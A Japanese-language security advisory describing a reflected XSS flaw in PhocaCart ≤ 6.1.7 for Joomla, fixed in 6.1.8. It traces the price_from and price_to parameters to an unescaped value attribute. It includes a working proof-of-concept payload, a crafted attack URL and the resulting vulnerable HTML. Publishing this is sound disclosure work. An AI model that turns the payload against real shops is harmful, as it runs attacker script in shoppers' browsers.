PhocaCart ≤ 6.1.7 — 未認証の攻撃者が細工された価格フィルタ URL を介して任意の JavaScript を注入
Joomla 向け PhocaCart 6.1.7 は、mod_phocacart_filter モジュールがインストールされ公開されている場合、price_from および price_to GET パラメータを介した反射型クロスサイトスクリプティング (XSS) に対して脆弱です。これらのパラメータは Joomla の 'string' 入力フィルタで処理されますが、このフィルタは strip_tags() のみを適用し、htmlspecialchars() は適用しません。生の値は、mod_phocacart_filter モジュールがレンダリングする価格フィルタフォーム内の HTML value="" 属性に直接出力されます。
攻撃者は細工された URL を被害者に配信します。被害者がページを読み込むと、注入されたイベントハンドラが被害者のブラウザで実行されます。認証は不要です。この攻撃には、別途配布されるモジュールである mod_phocacart_filter のインストールと公開が必要です。
| コンポーネント | 影響あり | テスト環境 | 修正版 |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
種別: 反射型 XSS (CWE-79)
必要な認証: なし — 公開ショップのフロントエンド
CSRF トークン: 不要 (GET リクエスト)
シンクファイル: site/layouts/form_filter_horizontal_text.php:65,71
Joomla の 'string' 入力フィルタは strip_tags() を呼び出します。これは HTML タグを除去しますが、"、'、> などの HTML 特殊文字はエンコードされずに残します。price_from および price_to GET パラメータはこのフィルタで取得され、$data['getparams'] に格納されます。テンプレートファイルは htmlspecialchars() を呼び出さずにこれらの値を value="" 属性に直接出力するため、属性コンテキストでのインジェクションが可能になります。
データフロー — ソースからシンクまで:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Joomla 'string' filter = strip_tags() only
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [unchanged!]
filter.php:494 $inA[] = $v // no encoding
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → NO htmlspecialchars()
→ Renders: value="" onmouseover="alert(document.domain)"
→ XSS fires on mouseover
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — 脆弱なシンク
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- NO htmlspecialchars() -->
id="phPriceFrom..." />
同じシンクパターンは form_filter_text.php:81,87 (縦型レイアウトのバリアント) にも存在します。price_from と price_to の両パラメータは同様に脆弱です。
攻撃者は、price_from パラメータにイベントハンドラのペイロードを注入した、ショップの商品一覧ビュー (items view) を対象とする URL を構築します。ペイロードは value="" 属性のコンテキストから抜け出します。
Payload (raw): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Crafted URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
被害者が細工された URL を開くと、ショップの商品一覧ページは価格フィルタフォームをレンダリングします。注入された属性は <input> 要素内に存在します。autofocus onfocus ペイロードにより、JavaScript は追加のユーザー操作なしでページ読み込み時に即座に実行されます。
レンダリングされた HTML (脆弱な状態):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

被害者のブラウザで XSS が発火 — alert(document.domain) がショップフロントエンドでの実行コンテキストを確認